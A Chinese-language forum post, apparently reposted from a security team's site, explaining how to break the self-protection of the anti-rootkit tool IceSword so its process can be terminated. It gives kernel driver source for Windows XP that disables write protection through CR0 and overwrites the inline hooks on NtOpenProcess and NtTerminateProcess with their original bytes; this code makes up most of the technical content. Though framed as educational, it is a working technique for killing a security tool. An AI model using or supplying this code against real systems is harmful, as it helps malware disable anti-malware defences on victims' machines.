广告广告
  加入我的最爱 设为首页 风格修改
首页 首尾
 手机版   订阅   地图  繁体 
您是第 2344 个阅读者
 
发表文章 发表投票 回覆文章
  可列印版   加为IE收藏   收藏主题   上一主题 | 下一主题   
upside 手机 葫芦墩家族
个人头像
个人文章 个人相簿 个人日记 个人地图
特殊贡献奖 社区建设奖 优秀管理员勋章
头衔:反病毒 反诈骗 反虐犬   反病毒 反诈骗 反虐犬  
版主
分享: 转寄此文章 Facebook Plurk Twitter 复制连结到剪贴簿 转换为繁体 转换为简体 载入图片
推文 x0
突破IceSword自身的进程保护
突破IceSword自身的进程保护

文章作者:xyzreg [E.S.T](http://www.xyzreg.net)
资讯来源:邪恶八进制资讯安全团队(www.eviloctal.com)

IceSword的驱动对其自身进程做了保护,使恶意程式终止不了他。IceSword没有用HOOK SSDT的方法,不过也没用什么太BT的方法,而是Inline Hook了NtOpenProcess、NtTerminateProcess几个函数,即修改函数前5个字节,jmp到他自定义处理函数例程里。

终止采用这类保护方法的进程,可以使用暴力的PspTerminateProcess方法,PspTerminateProcess函数未导出,需要我们自己穷举特征码搜索来定位,或者硬编码之。当然,我们还可以恢复IceSword的Inline hook,还原被IceSword挂钩过的NtOpenProcess、NtTerminateProcess函数,然后在用户态上使用普通的终止进程的方法就可以终止他了。这里给出了第二中方法的具体代码,不过由于此篇文章出于科普目的,代码就写得马虎点了,仅适用于Windows XP,因为取SSDT对应的函数索引号用的硬编码,说明问题而已。NtTerminateProcess未导出,大家可以自己改成通过读取ntdll.dll动态通用的获得索引号的方法,方法网上有公开,需要的人就自己动点手吧,呵呵~


CODE:

#include <ntddk.h>

#define DWORD unsigned long

unsigned char OldCode[5]="\x68\xc4\x00\x00\x00";
unsigned char OldCode2[5]="\x8b\xff\x55\x8b\xec";

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
DWORD OpAddr,OpAddr2;

OpAddr=*(KeServiceDescriptorTable.ServiceTableBase + 0x7A);
OpAddr2=*(KeServiceDescriptorTable.ServiceTableBase + 0x101);

_asm
{
  CLI
  MOV   eax, CR0
  AND eax, NOT 10000H
  MOV   CR0, eax

  pushad
  mov edi, OpAddr
  mov eax, dword ptr OldCode[0]
  mov [edi], eax
  mov al, byte ptr OldCode[4]
  mov [edi+4], al
  mov edi, OpAddr2
  mov eax, dword ptr OldCode2[0]
  mov [edi], eax
  mov al, byte ptr OldCode2[4]
  mov [edi+4], al
  popad

  MOV   eax, CR0
  OR   eax, 10000H
  MOV   CR0, eax
  STI
}
   
return STATUS_SUCCESS;
}



爸爸 你一路好走
献花 x0 回到顶端 [楼 主] From:台湾和信超媒体宽带网 | Posted:2006-12-22 17:27 |

首页  发表文章 发表投票 回覆文章
Powered by PHPWind v1.3.6
Copyright © 2003-04 PHPWind
Processed in 0.056778 second(s),query:15 Gzip disabled
本站由 瀛睿律师事务所 担任常年法律顾问 | 免责声明 | 本网站已依台湾网站内容分级规定处理 | 连络我们 | 访客留言